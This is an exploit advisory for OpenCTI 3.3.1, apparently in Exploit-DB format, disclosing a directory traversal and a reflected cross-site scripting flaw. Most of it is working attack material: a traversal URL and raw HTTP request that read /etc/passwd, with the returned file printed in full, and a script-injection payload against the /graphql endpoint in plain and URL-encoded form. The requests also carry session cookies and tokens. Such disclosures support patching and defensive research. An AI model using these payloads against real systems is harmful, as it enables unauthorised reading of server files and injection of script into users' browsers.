OpenCTI 3.3.1 - Directory Traversal

# Exploit Title: OpenCTI 3.3.1 - Directory Traversal
# Date: 2020-03-05
# Exploit Author: Raif Berkay Dincel
# Vendor Homepage: www.opencti.io/
# Software [https://github.com/OpenCTI-Platform/opencti/releases/tag/3.3.1]
# Version: [3.3.1]
# CVE-ID: N/A
# Tested on: Linux Mint / Windows 10
# Vulnerabilities Discovered Date : 2020/03/05 [YYYY/MM/DD]

# As a result of the research, two vulnerability were identified. (Directory Traversal & Cross Site Scripting [XSS])
# Technical information is provided below step by step.

# [1] - Directory Traversal Vulnerability

# Vulnerable Parameter Type: GET
# Vulnerable Parameter: TARGET/static/css/[Payload]

# Proof of Concepts:
https://TARGET/static/css//../../../../../../../../etc/passwd

# HTTP Request:

GET /static/css//../../../../../../../../etc/passwd HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: connect.sid=s%3ATkG_XOPI-x4FclzoLAZvx_oBEHaTkG4N.kwp3h9LAyBrG03SzzT8ApZu0CRaUwI5CP7yizXTerYM; opencti_token=df8635b1-39b5-41c2-8873-2f19b0e6ca8c
Upgrade-Insecure-Requests: 1

# HTTP Response

HTTP/1.1 200 OK
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: text/css; charset=utf-8
ETag: W/"500-eiHlcjY0lWovE9oQsRof3WWtG1o"
Vary: Accept-Encoding
Date: Sun, 03 May 2020 01:25:21 GMT
Connection: close
Content-Length: 1280

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000:Linux User,,,:/home/node:/bin/sh


# [2] - Cross Site Scripting (XSS) Vulnerability

# Vulnerable Parameter Type: GET
# Vulnerable Parameter: TARGET/graphql?[Payload]

# Proof of Concepts:
TARGET/graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt>

https://TARGET/graphql?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(%27Raif_Berkay%27)%3C/scRipt%3E

# HTTP Request:

GET /graphql?'"--></style></scRipt><scRipt>alert('Raif_Berkay')</scRipt> HTTP/1.1
Host: TARGET
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: opencti_token=2b4f29e3-5ea8-4890-8cf5-a76f61f1e2b2; connect.sid=s%3AB8USExilsGXulGOc09fo92piRjpWNtUo.GZ9pmhOf7i1l78t%2BHVk9zh9AQ9BTO%2BHvCRix3iXv6iw
User-Agent: Mozilla/5.0 (Windows NT 10.0; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36